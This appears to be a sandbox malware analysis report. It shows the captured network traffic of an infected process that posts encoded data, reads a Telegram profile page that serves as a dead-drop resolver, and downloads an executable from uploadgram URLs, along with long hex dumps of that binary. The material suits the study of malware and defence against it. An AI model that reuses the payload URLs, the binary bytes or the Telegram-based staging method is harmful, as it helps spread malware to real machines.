Jan 25, 2023 21:04:31.858752012 CET	1853	OUT	Data Raw: 42 6a 45 53 71 34 6d 44 6c 45 55 44 36 52 45 6b 61 53 70 71 79 68 73 32 44 31 2b 4d 45 72 7a 78 50 6d 58 50 54 75 61 67 62 45 67 4f 71 5a 72 47 77 63 41 38 72 55 31 54 53 53 4c 6e 55 64 35 77 78 48 52 6b 68 53 77 58 51 34 76 74 2b 7a 30 2f 55 72 Data Ascii: BjESq4mDlEUD6REkaSpqyhs2D1+MErzxPmXPTuagbEgOqZrGwcA8rU1TSSLnUd5wxHRkhSwXQ4vt+z0/UrJh3uojcH8qvKltZi36TGk68w7VP+MVyvemcF/oPLxGF7wqoy5xfVN68ONfsFs+iNZqXVnblRlQtRtYhn8+KgUiJJ99HYU1U8MI9OVRZGgkkOKKGEEwMYSsEI3dyHCueCXQogkRFlNh+eRnWe/iri+PY+cTv+9PVj7
Jan 25, 2023 21:04:31.896615982 CET	1869	OUT	Data Raw: 61 4b 66 7a 6f 54 62 66 4a 50 78 77 76 6a 70 61 2b 61 2f 54 47 4d 6c 4c 6f 76 70 53 30 4c 46 4b 69 2f 4b 37 67 6e 52 43 55 66 6d 53 2f 75 72 35 47 46 72 4e 4a 57 52 47 67 65 64 64 2f 4f 44 48 73 65 55 6a 71 67 39 32 79 68 73 59 58 72 6c 65 76 41 Data Ascii: aKfzoTbfJPxwvjpa+a/TGMlLovpS0LFKi/K7gnRCUfmS/ur5GFrNJWRGgedd/ODHseUjqg92yhsYXrlevAmzBTecd/A+htSu7nG/z6iYbj4VEmvZ8SU4bbhEbhJZQvOs41wWi6Fzz1JP/kgpSuzixzTsbGweBUtQDqEmb8wentiPLjHdX2oeqKCAzRkn/YzdfZJtzH1MsbY6x5V9m65wF3w12jXKF7jpW2r3QmT5cWVBAN8Qf3M
Jan 25, 2023 21:04:33.290936947 CET	1913	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Jan 2023 20:04:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 38 0d 0a 68 74 74 70 73 3a 2f 2f 64 6c 2e 75 70 6c 6f 61 64 67 72 61 6d 2e 6d 65 2f 36 33 64 30 30 62 63 36 63 39 35 61 30 67 3f 72 61 77 3b 68 74 74 70 73 3a 2f 2f 64 6c 2e 75 70 6c 6f 61 64 67 72 61 6d 2e 6d 65 2f 36 33 62 62 30 34 39 66 65 33 63 38 39 68 3f 72 61 77 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 58https://dl.uploadgram.me/63d00bc6c95a0g?raw;https://dl.uploadgram.me/63bb049fe3c89h?raw;0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49714	149.154.167.99	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	Direction	Data
2023-01-25 20:04:27 UTC	OUT	GET /litlebey HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me
2023-01-25 20:04:27 UTC	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 25 Jan 2023 20:04:27 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12341 Connection: close Set-Cookie: stel_ssid=5b671a94c845a26a64_208067284864853527; expires=Thu, 26 Jan 2023 20:04:27 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-01-25 20:04:27 UTC	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6c 69 74 6c 65 62 65 79 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @litlebey</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pare

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49716	92.222.250.82	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
2023-01-25 20:04:33 UTC	12	OUT	GET /63d00bc6c95a0g?raw HTTP/1.1 Host: dl.uploadgram.me Cache-Control: no-cache
2023-01-25 20:04:34 UTC	12	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 25 Jan 2023 20:04:34 GMT Content-Type: text/plain Content-Length: 7806464 Connection: close cache-control: max-age=31556926 content-transfer-encoding: Binary accept-ranges: bytes content-disposition: attachment; filename="635965506.exe"; filename*=utf-8''635965506.exe x-frame-options: SAMEORIGIN x-robots-tag: noindex x-frames-options: deny
2023-01-25 20:04:34 UTC	13	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 be 0b d0 63 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 22 00 04 40 00 00 1a 77 00 00 10 06 00 c0 14 00 00 00 10 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 a0 7d 00 00 04 00 00 df d3 77 00 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdc."@w@}w`
2023-01-25 20:04:34 UTC	28	IN	Data Raw: 83 ec 30 48 89 6c 24 28 48 8d 6c 24 28 48 85 c0 74 39 48 8b 50 18 48 85 d2 74 3f 0f b6 70 17 40 f6 c6 20 74 11 48 39 cb 0f 94 c0 48 8b 6c 24 28 48 83 c4 30 90 c3 48 8b 32 48 89 d8 48 89 cb ff d6 48 8b 6c 24 28 48 83 c4 30 c3 b8 01 00 00 00 48 8b 6c 24 28 48 83 c4 30 c3 e8 b6 8b 05 00 b9 1c 00 00 00 48 89 c7 48 89 de 31 c0 48 8d 1d 53 98 4d 00 66 90 e8 bb c0 04 00 e8 f6 79 00 00 48 89 c3 48 8d 05 4c f6 47 00 e8 a7 42 03 00 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 12 fe 05 00 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 0f 1f 00 e9 3b ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 91 00 00 00 48 83 ec 30 48 89 6c 24 28 48 8d 6c 24 28 48 85 c0 74 3c 48 8b 40 08 48 8b 50 18 48 85 d2 74 3e Data Ascii: 0Hl$(Hl$(Ht9HPHt?p@ tH9Hl$(H0H2HHHl$(H0Hl$(H0HH1HSMfyHHLGBHD$H\$HL$HD$H\$HL$;I;fH0Hl$(Hl$(Ht<H@HPHt>
2023-01-25 20:04:34 UTC	44	IN	Data Raw: 48 8b 44 24 08 e9 4b ff ff ff cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 50 48 89 6c 24 48 48 8d 6c 24 48 c6 44 24 0b 00 c7 44 24 0c 00 00 00 00 4c 89 74 24 10 44 0f 11 7c 24 18 44 0f 11 7c 24 28 44 0f 11 7c 24 38 48 8d 0d c7 00 00 00 48 89 4c 24 18 4c 89 f1 48 89 4c 24 20 48 8b 54 24 50 48 89 54 24 28 48 89 44 24 30 48 8d 44 24 0b 48 89 44 24 38 48 8d 44 24 0c 48 89 44 24 40 48 8d 44 24 18 48 89 04 24 e8 e9 bc 05 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 8d 05 2e 20 50 00 e8 49 bc 05 00 80 7c 24 0b 00 74 2d 48 8b 44 24 10 48 8b 48 30 8b 54 24 0c 89 91 38 02 00 00 ff 89 3c 02 00 00 90 48 89 c2 48 89 81 30 01 00 00 48 89 8a e8 00 00 00 eb 05 48 8b 54 24 10 c6 82 b4 00 00 00 00 48 8b 6c 24 48 48 83 c4 50 c3 cc cc cc cc cc cc cc cc cc Data Ascii: HD$KHPHl$HHl$HD$D$Lt$D\|$D\|$(D\|$8HHL$LHL$ HT$PHT$(HD$0HD$HD$8HD$HD$@HD$H$EWeL4%(MH. PI\|$t-HD$HH0T$8<HH0HHT$Hl$HHP
2023-01-25 20:04:34 UTC	60	IN	Data Raw: 48 89 ce 81 e1 ff ff 07 00 48 09 cb 48 89 d9 48 c1 fb 13 48 c1 e3 03 48 39 da 74 05 eb 25 48 89 f0 48 8b 18 48 89 1a 48 89 c6 48 89 d8 f0 48 0f b1 0e 0f 94 c3 84 db 74 e5 48 8b 6c 24 30 48 83 c4 38 c3 48 89 74 24 18 48 89 54 24 28 48 89 4c 24 10 48 89 5c 24 20 e8 39 e3 02 00 48 8d 05 ab 98 4d 00 bb 2c 00 00 00 e8 28 ec 02 00 48 8b 44 24 28 0f 1f 00 e8 9b eb 02 00 48 8d 05 22 77 4c 00 bb 05 00 00 00 e8 0a ec 02 00 48 8b 44 24 18 0f 1f 44 00 00 e8 5b ea 02 00 48 8d 05 29 82 4c 00 bb 08 00 00 00 e8 ea eb 02 00 48 8b 44 24 10 0f 1f 44 00 00 e8 3b ea 02 00 48 8d 05 02 87 4c 00 bb 09 00 00 00 e8 ca eb 02 00 48 8b 44 24 20 0f 1f 44 00 00 e8 3b eb 02 00 e8 16 e5 02 00 e8 31 e3 02 00 48 8d 05 1e 9d 4c 00 bb 0c 00 00 00 0f 1f 44 00 00 e8 db c9 02 00 90 48 89 44 24 Data Ascii: HHHHHH9t%HHHHHHtHl$0H8Ht$HT$(HL$H\$ 9HM,(HD$(H"wLHD$D[H)LHD$D;HLHD$ D;1HLDHD$
2023-01-25 20:04:34 UTC	76	IN	Data Raw: 40 88 44 24 1f 48 89 ca eb 30 8b 70 54 0f ba e6 04 73 0e 48 8b 50 48 48 8b 32 48 89 c8 31 db ff d6 48 8b 6c 24 58 48 83 c4 60 c3 0f b7 7e 52 48 8d 3c 0f 48 8d 7f f8 48 8b 0f 48 85 c9 74 09 48 89 4c 24 48 31 ff eb 36 0f b6 4b 08 f6 c1 04 75 16 48 8d 05 84 9b 4c 00 bb 15 00 00 00 e8 73 8b 02 00 48 8b 5c 24 70 0f b6 43 08 83 e0 fb 88 43 08 48 8b 6c 24 58 48 83 c4 60 c3 48 ff c7 48 83 ff 08 73 a7 44 0f b6 04 0f 44 38 c0 74 09 45 84 c0 75 e8 66 90 eb b1 48 89 7c 24 20 44 0f b6 46 50 4c 0f af c7 49 8d 0c 08 48 8d 49 08 48 89 4c 24 38 44 8b 46 54 41 0f ba e0 00 73 05 4c 8b 01 eb 03 49 89 c8 48 8b 4e 30 48 8b 51 18 48 8b 0a 48 8b 44 24 50 4c 89 c3 ff d1 84 c0 75 23 0f b6 44 24 1f 48 8b 4c 24 48 48 8b 54 24 40 48 8b 5c 24 70 48 8b 74 24 68 48 8b 7c 24 20 e9 7a ff Data Ascii: @D$H0pTsHPHH2H1Hl$XH`~RH<HHHtHL$H16KuHLsH\$pCCHl$XH`HHsDD8tEufH\|$ DFPLIHIHL$8DFTAsLIHN0HQHHD$PLu#D$HL$HHT$@H\$pHt$hH\|$ z
2023-01-25 20:04:34 UTC	92	IN	Data Raw: 83 ec 58 48 89 6c 24 50 48 8d 6c 24 50 48 89 4c 24 70 48 89 7c 24 78 48 85 db 0f 84 c4 00 00 00 48 83 3b 00 0f 84 ba 00 00 00 48 89 5c 24 68 48 89 44 24 60 0f b6 4b 08 f6 c1 04 74 1b 48 8d 05 98 5b 4c 00 bb 15 00 00 00 e8 87 4b 02 00 48 8b 44 24 60 48 8b 5c 24 68 48 8b 50 48 48 8b 0a 8b 73 0c 48 8d 44 24 70 48 89 f3 ff d1 48 8b 5c 24 68 0f b6 4b 08 83 f1 04 88 4b 08 0f b6 4b 09 be 01 00 00 00 48 d3 e6 48 8d 4e ff 48 21 c1 48 83 7b 18 00 66 90 74 23 48 89 44 24 28 48 89 4c 24 30 48 8b 44 24 60 e8 ca 02 00 00 48 8b 44 24 28 48 8b 4c 24 30 48 8b 5c 24 68 48 8b 54 24 60 0f b7 72 52 48 0f af f1 48 03 73 10 48 c1 e8 38 3c 05 73 03 83 c0 05 48 89 74 24 38 88 44 24 1f 48 89 f1 eb 1a 48 8b 6c 24 50 48 83 c4 58 c3 44 0f b7 42 52 4e 8d 04 06 4d 8d 40 f8 49 8b 30 48 Data Ascii: XHl$PHl$PHL$pH\|$xHH;H\$hHD$`KtH[LKHD$`H\$hHPHHsHD$pHH\$hKKKHHNH!H{ft#HD$(HL$0HD$`HD$(HL$0H\$hHT$`rRHHsH8<sHt$8D$HHl$PHXDBRNM@I0H
2023-01-25 20:04:34 UTC	108	IN	Data Raw: 48 8b 54 24 28 87 8a 88 04 00 00 48 8b 6c 24 18 48 83 c4 20 90 c3 48 8b 6c 24 18 48 83 c4 20 c3 89 4c 24 10 89 54 24 14 e8 68 23 02 00 48 8d 05 c8 e2 4b 00 bb 0d 00 00 00 e8 57 2c 02 00 8b 44 24 14 e8 4e 29 02 00 48 8d 05 57 68 4c 00 bb 1e 00 00 00 66 90 e8 3b 2c 02 00 8b 44 24 10 e8 32 29 02 00 e8 8d 25 02 00 e8 a8 23 02 00 48 8d 05 39 dc 4b 00 bb 0c 00 00 00 e8 57 0a 02 00 90 48 89 44 24 08 e8 2c be 04 00 48 8b 44 24 08 e9 22 ff ff ff cc cc 49 3b 66 10 0f 86 3d 03 00 00 48 83 ec 50 48 89 6c 24 48 48 8d 6c 24 48 0f b6 10 d0 ea 48 0f be d2 48 83 fa 44 0f 83 0e 03 00 00 48 89 44 24 58 48 8d 0d e9 cf 3e 00 0f b6 04 11 48 c1 e0 0d 31 db e8 ba ee 00 00 80 3d c3 74 75 00 00 74 05 e8 0c fe 03 00 c7 44 24 20 00 00 00 00 c6 44 24 24 00 8b 0d d1 76 77 00 d1 e9 83 Data Ascii: HT$(Hl$H Hl$H L$T$h#HKW,D$N)HWhLf;,D$2)%#H9KWHD$,HD$"I;f=HPHl$HHl$HHHDHD$XH>H1=tutD$ D$$vw
2023-01-25 20:04:34 UTC	124	IN	Data Raw: 3e 00 31 db 31 c9 e8 ca eb 02 00 90 48 8b 94 24 80 01 00 00 8b b2 d8 00 00 00 8d 7e ff 89 ba d8 00 00 00 83 fe 01 75 12 41 80 be b1 00 00 00 00 74 08 49 c7 46 10 de fa ff ff 48 8b ac 24 a8 01 00 00 48 81 c4 b0 01 00 00 c3 48 89 f0 48 83 fa 0a 73 08 66 90 48 83 f8 14 7c 5a 48 89 c1 48 b8 cd cc cc cc cc cc cc cc 48 89 d3 48 f7 e2 48 c1 ea 03 48 8d 34 92 48 d1 e6 48 29 f3 48 83 f9 18 0f 83 75 05 00 00 48 8d 73 30 40 88 b4 0c c8 00 00 00 48 8d 71 ff 48 83 f9 15 75 ae c6 84 0c c7 00 00 00 2e be 13 00 00 00 eb 9f 66 0f 1f 84 00 00 00 00 00 90 48 83 f8 18 0f 83 32 05 00 00 48 83 c2 30 88 94 04 c8 00 00 00 8b 15 fd 7c 7a 00 48 89 94 24 a8 00 00 00 48 8d 48 e8 48 89 ce 48 c1 f9 3f 48 21 c8 48 8d 9c 04 c8 00 00 00 48 f7 de 48 8d 84 24 38 01 00 00 48 89 f1 e8 d4 43 Data Ascii: >11H$~uAtIFH$HHHsfH\|ZHHHHHH4HH)HuHs0@HqHu.fH2H0\|zH$HHHH?H!HHH$8HC
2023-01-25 20:04:34 UTC	140	IN	Data Raw: 90 98 00 00 00 48 89 54 24 78 e8 86 a3 01 00 48 8d 05 a7 5e 4b 00 bb 0c 00 00 00 e8 75 ac 01 00 48 8b 84 24 08 02 00 00 e8 e8 ab 01 00 48 8d 05 3f 3e 4b 00 bb 07 00 00 00 e8 57 ac 01 00 48 8b 44 24 78 e8 4d aa 01 00 48 8d 05 ea 85 4b 00 bb 13 00 00 00 90 e8 3b ac 01 00 8b 44 24 54 89 c0 e8 30 a9 01 00 e8 8b a5 01 00 e8 a6 a3 01 00 48 8d 05 75 fd 4b 00 bb 20 00 00 00 e8 55 8a 01 00 8b 88 90 00 00 00 89 4c 24 5c 48 8b 90 98 00 00 00 48 89 54 24 78 e8 fa a2 01 00 48 8d 05 bf a6 4b 00 bb 16 00 00 00 e8 e9 ab 01 00 48 8b 84 24 08 02 00 00 90 e8 5b ab 01 00 48 8d 05 b2 3d 4b 00 bb 07 00 00 00 e8 ca ab 01 00 48 8b 44 24 78 0f 1f 44 00 00 e8 bb a9 01 00 48 8d 05 58 85 4b 00 bb 13 00 00 00 e8 aa ab 01 00 8b 44 24 5c 89 c0 0f 1f 40 00 e8 fb a9 01 00 e8 f6 a4 01 00 Data Ascii: HT$xH^KuH$H?>KWHD$xMHK;D$T0HuK UL$\HHT$xHKH$[H=KHD$xDHXKD$\@
2023-01-25 20:04:34 UTC	156	IN	Data Raw: 00 48 85 c9 0f 84 cb 00 00 00 48 89 c2 48 89 d3 31 d2 48 f7 f1 48 85 c0 7c 0a 0f 57 c9 f2 48 0f 2a c8 eb 18 48 89 c1 83 e0 01 48 d1 e9 48 09 c1 0f 57 c9 f2 48 0f 2a c9 f2 0f 58 c9 f2 0f 10 15 e9 a8 54 00 f2 0f 59 ca f2 0f 10 5c 24 18 f2 0f 58 cb eb 1d 0f 57 c9 f2 48 0f 2a cb f2 0f 10 54 24 18 f2 0f 58 ca 48 89 c3 f2 0f 10 15 bc a8 54 00 48 8b 4c 24 10 48 01 d9 48 81 fb 00 00 01 00 72 23 48 83 3d 2b 96 79 00 00 0f 84 09 ff ff ff eb 13 48 8b 4c 24 10 f2 0f 10 4c 24 18 eb 06 48 89 c1 0f 10 c8 48 85 c9 76 09 48 39 0d 8c 96 79 00 77 10 48 89 c8 0f 10 c1 48 8b 6c 24 20 48 83 c4 28 c3 48 8d 05 83 22 4c 00 bb 2e 00 00 00 e8 01 4a 01 00 90 e8 1b 2e 01 00 48 8d 05 f3 1d 4c 00 bb 2d 00 00 00 e8 ea 49 01 00 90 48 89 44 24 08 0f 1f 40 00 e8 bb fd 03 00 48 8b 44 24 08 Data Ascii: HHH1HH\|WHHHHWHXTY\$XWH*T$XHTHL$HHr#H=+yHL$L$HHvH9ywHHl$ H(H"L.J.HL-IHD$@HD$
2023-01-25 20:04:34 UTC	172	IN	Data Raw: 48 89 ca 48 c1 e9 3f 48 01 d1 48 d1 f9 48 81 f9 00 20 00 00 b8 00 20 00 00 48 0f 4f c1 48 89 44 24 18 48 c1 e0 03 48 8d 1d 88 ad 79 00 e8 e3 09 ff ff 48 89 44 24 20 48 85 c0 0f 84 f2 00 00 00 48 8b 74 24 48 48 8b 8e 48 01 01 00 48 89 4c 24 28 48 8b 7c 24 18 48 89 7c 24 30 48 8b be 48 01 01 00 48 8b 9e 40 01 01 00 48 85 ff 74 1f 48 39 cf 48 0f 4c cf 48 8b 44 24 20 48 39 d8 74 0e 48 c1 e1 03 e8 cd ee 03 00 48 8b 74 24 48 48 8b 86 40 01 01 00 48 8b 9e 50 01 01 00 48 8b 7c 24 28 4c 8b 44 24 30 4c 8b 4c 24 20 48 83 be 48 01 01 00 00 4c 89 8e 40 01 01 00 48 89 be 48 01 01 00 4c 89 86 50 01 01 00 74 16 48 c1 e3 03 48 8d 0d e1 ac 79 00 90 e8 9b 0a ff ff 48 8b 74 24 48 48 89 f0 48 8b 5c 24 50 48 8b 88 48 01 01 00 48 8b 90 50 01 01 00 48 8d 71 01 48 39 f2 72 2c 48 Data Ascii: HH?HHH HOHD$HHyHD$ HHt$HHHHL$(H\|$H\|$0HHH@HtH9HLHD$ H9tHHt$HH@HPH\|$(LD$0LL$ HHL@HHLPtHHyHt$HHH\$PHHHPHqH9r,H
2023-01-25 20:04:34 UTC	188	IN	Data Raw: 00 00 00 4c 89 a4 24 80 00 00 00 4c 89 e1 45 31 d2 45 31 ed 90 e9 90 02 00 00 48 89 d6 48 c1 ea 0d 48 81 fa 00 20 00 00 0f 83 5f 02 00 00 48 89 b4 24 e0 00 00 00 48 8b 54 d0 78 84 02 81 e6 ff 1f 00 00 48 c1 e6 07 48 01 f2 31 c9 48 89 d0 e8 c1 2a 00 00 90 48 83 f8 ff 0f 84 a2 00 00 00 48 89 84 24 88 00 00 00 48 c1 e3 0d 48 8b 8c 24 e0 00 00 00 48 89 ce 48 c1 e1 16 48 89 8c 24 d0 00 00 00 48 8d 3c 19 49 b8 00 00 00 00 00 80 ff ff 4a 8d 04 07 4c 8b 8c 24 00 01 00 00 48 8d 5e 01 48 c1 e3 16 48 29 fb 48 8d 94 24 00 01 00 00 41 ff d1 48 8b 9c 24 e8 00 00 00 48 8b 84 24 20 01 00 00 e8 ae fc ff ff 48 8b 8c 24 88 00 00 00 48 c1 e1 0d 48 8b b4 24 d0 00 00 00 48 01 f1 48 be 00 00 00 00 00 80 ff ff 48 01 f1 48 89 c3 48 89 c8 48 8b ac 24 10 01 00 00 48 81 c4 18 01 00 Data Ascii: L$LE1E1HHH _H$HTxHH1H*HH$HH$HHH$H<IJL$H^HH)H$AH$H$ H$HH$HHHHHH$H
2023-01-25 20:04:34 UTC	204	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 64 48 83 ec 58 48 89 6c 24 50 48 8d 6c 24 50 48 89 7c 24 78 84 07 48 c7 04 24 00 00 00 00 31 f6 49 89 f8 41 b9 20 00 00 00 45 31 d2 45 31 db 48 89 cf 31 c9 e8 e2 87 02 00 66 90 48 83 f8 20 7d 0f 73 17 48 8b 4c 24 78 48 c7 04 c1 00 00 00 00 48 8b 6c 24 50 48 83 c4 58 c3 b9 20 00 00 00 e8 37 65 03 00 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 66 90 e8 1b 3e 03 00 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 e9 62 ff ff ff cc cc 49 3b 66 10 0f 86 14 02 00 00 48 83 ec 78 48 89 6c 24 70 48 8d 6c 24 70 48 89 8c 24 90 00 00 00 48 89 5c 24 30 48 89 44 24 48 90 48 8d 05 ce d6 78 00 e8 49 c1 fd ff 4c 89 74 24 38 49 8b 4e 30 c6 81 f9 00 00 00 02 48 8b 84 Data Ascii: I;fvdHXHl$PHl$PH\|$xH$1IA E1E1H1fH }sHL$xHHl$PHX 7eHD$H\$HL$H\|$ f>HD$H\$HL$H\|$ bI;fHxHl$pHl$pH$H\$0HD$HHxILt$8IN0H
2023-01-25 20:04:34 UTC	220	IN	Data Raw: 48 ba 47 65 74 53 79 73 74 65 48 89 54 24 56 48 ba 6d 54 69 6d 65 41 73 46 48 89 54 24 5e 48 ba 69 6c 65 54 69 6d 65 00 48 89 54 24 66 48 8d 5c 24 56 b9 18 00 00 00 48 89 cf e8 16 eb ff ff 83 3d bf 99 78 00 00 75 09 48 89 05 76 1a 73 00 eb 0c 48 8d 3d 6d 1a 73 00 e8 b8 20 03 00 48 85 c0 0f 84 16 02 00 00 48 ba 51 75 65 72 79 50 65 72 48 89 54 24 3e 48 be 66 6f 72 6d 61 6e 63 65 48 89 74 24 46 49 b8 43 6f 75 6e 74 65 72 00 4c 89 44 24 4e 48 8b 44 24 30 48 8d 5c 24 3e b9 18 00 00 00 48 89 cf e8 ab ea ff ff 83 3d 54 99 78 00 00 75 09 48 89 05 2b 1a 73 00 eb 0c 48 8d 3d 22 1a 73 00 e8 4d 20 03 00 48 ba 51 75 65 72 79 50 65 72 48 89 54 24 6e 48 ba 66 6f 72 6d 61 6e 63 65 48 89 54 24 76 48 ba 72 6d 61 6e 63 65 46 72 48 89 54 24 78 48 ba 65 71 75 65 6e 63 79 00 Data Ascii: HGetSysteHT$VHmTimeAsFHT$^HileTimeHT$fH\$VH=xuHvsH=ms HHQueryPerHT$>HformanceHt$FICounterLD$NHD$0H\$>H=TxuH+sH="sM HQueryPerHT$nHformanceHT$vHrmanceFrHT$xHequency
2023-01-25 20:04:34 UTC	236	IN	Data Raw: 21 c8 41 01 c0 4c 8d 49 07 49 83 f9 1c 7e c4 e9 d1 01 00 00 90 48 85 c9 0f 8c c2 01 00 00 48 89 5c 24 50 89 74 24 14 4c 8b 4b 38 49 29 f1 48 83 f9 20 45 19 d2 45 0f b6 09 41 d3 e0 45 21 d0 41 01 c0 49 ff c8 eb 03 49 ff c8 4d 85 c0 0f 8c 0f 01 00 00 31 c0 31 c9 e9 1b 01 00 00 48 85 c9 0f 8c 5e 01 00 00 49 83 f8 20 45 19 db 48 83 f9 20 45 19 e4 48 89 cf 4c 89 c1 41 bd 01 00 00 00 41 d3 e5 45 21 dd 48 89 f9 41 d3 e2 45 21 e2 41 01 c2 0f 1f 40 00 45 84 cd 74 ad 4c 89 44 24 18 48 89 54 24 28 48 8b 4b 38 4c 29 d1 48 8b 09 48 8d 7b 18 48 89 7c 24 30 41 f7 d5 45 21 e9 83 3d 41 59 78 00 00 75 06 48 89 4b 18 eb 05 e8 44 e1 02 00 44 88 4c 24 13 48 8b 4b 38 48 29 f1 44 88 09 48 8b 43 20 48 89 44 24 20 48 8b 4b 18 48 89 cb 0f 1f 44 00 00 e8 5b 01 00 00 48 8b 4c 24 20 Data Ascii: !ALII~HH\$Pt$LK8I)H EEAE!AIIM11H^I EH EHLAAE!HAE!A@EtLD$HT$(HK8L)HH{H\|$0AE!=AYxuHKDDL$HK8H)DHC HD$ HKHD[HL$
2023-01-25 20:04:34 UTC	252	IN	Data Raw: 8d 0d 1f 9b 72 00 48 87 19 48 8b 0d 0d b6 72 00 48 8d 15 56 16 78 00 48 87 0a 90 90 48 8d 05 52 16 78 00 e8 2d 04 fd ff 48 8b 6c 24 48 48 83 c4 50 c3 31 c0 48 89 c1 e8 79 a5 02 00 48 8d 05 f5 fd 49 00 bb 19 00 00 00 e8 88 ca ff ff 90 48 89 44 24 08 66 90 e8 5b 7e 02 00 48 8b 44 24 08 e9 91 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 85 00 00 00 48 83 ec 28 48 89 6c 24 20 48 8d 6c 24 20 48 89 44 24 30 90 48 8d 05 db 15 78 00 e8 96 01 fd ff 48 8b 0d 6f b5 72 00 48 89 4c 24 18 48 8b 15 6b b5 72 00 48 89 54 24 10 31 c0 eb 28 48 89 44 24 08 48 8b 1c c1 48 8b 54 24 30 48 8b 32 48 89 d8 ff d6 48 8b 44 24 08 48 ff c0 48 8b 4c 24 18 48 8b 54 24 10 48 39 d0 7c d3 90 90 48 8d 05 84 15 78 00 0f 1f 40 00 e8 5b 03 fd ff 48 8b 6c 24 20 Data Ascii: rHHrHVxHHRx-Hl$HHP1HyHIHD$f[~HD$I;fH(Hl$ Hl$ HD$0HxHorHL$HkrHT$1(HD$HHT$0H2HHD$HHL$HT$H9\|Hx@[Hl$
2023-01-25 20:04:34 UTC	268	IN	Data Raw: 00 e8 af 6e 00 00 48 89 84 24 d0 00 00 00 90 90 48 8d 05 16 9f 72 00 e8 39 c4 fc ff 48 8b 84 24 d0 00 00 00 48 85 c0 0f 85 74 06 00 00 48 8b 44 24 58 48 8b 8c 24 d8 00 00 00 48 8b 5c 24 50 80 3d 8f d3 77 00 00 74 35 80 3d 87 d3 77 00 00 74 2c 0f 1f 40 00 e8 3b 95 fd ff 48 85 c0 74 0c 31 db b9 01 00 00 00 e8 aa c7 ff ff 48 8b 44 24 58 48 8b 8c 24 d8 00 00 00 48 8b 5c 24 50 48 8b 15 59 49 3f 00 48 8b 12 48 85 d2 74 2e 48 89 14 24 48 c7 44 24 08 00 00 00 00 e8 37 5c 02 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 8b 8c 24 d8 00 00 00 48 89 c8 e8 93 77 00 00 48 85 c0 0f 85 84 06 00 00 83 3d b3 9e 72 00 00 74 4a 90 90 48 8d 05 50 9e 72 00 e8 53 c1 fc ff 48 8b 84 24 d8 00 00 00 31 db e8 c4 6d 00 00 48 89 84 24 b0 00 00 00 90 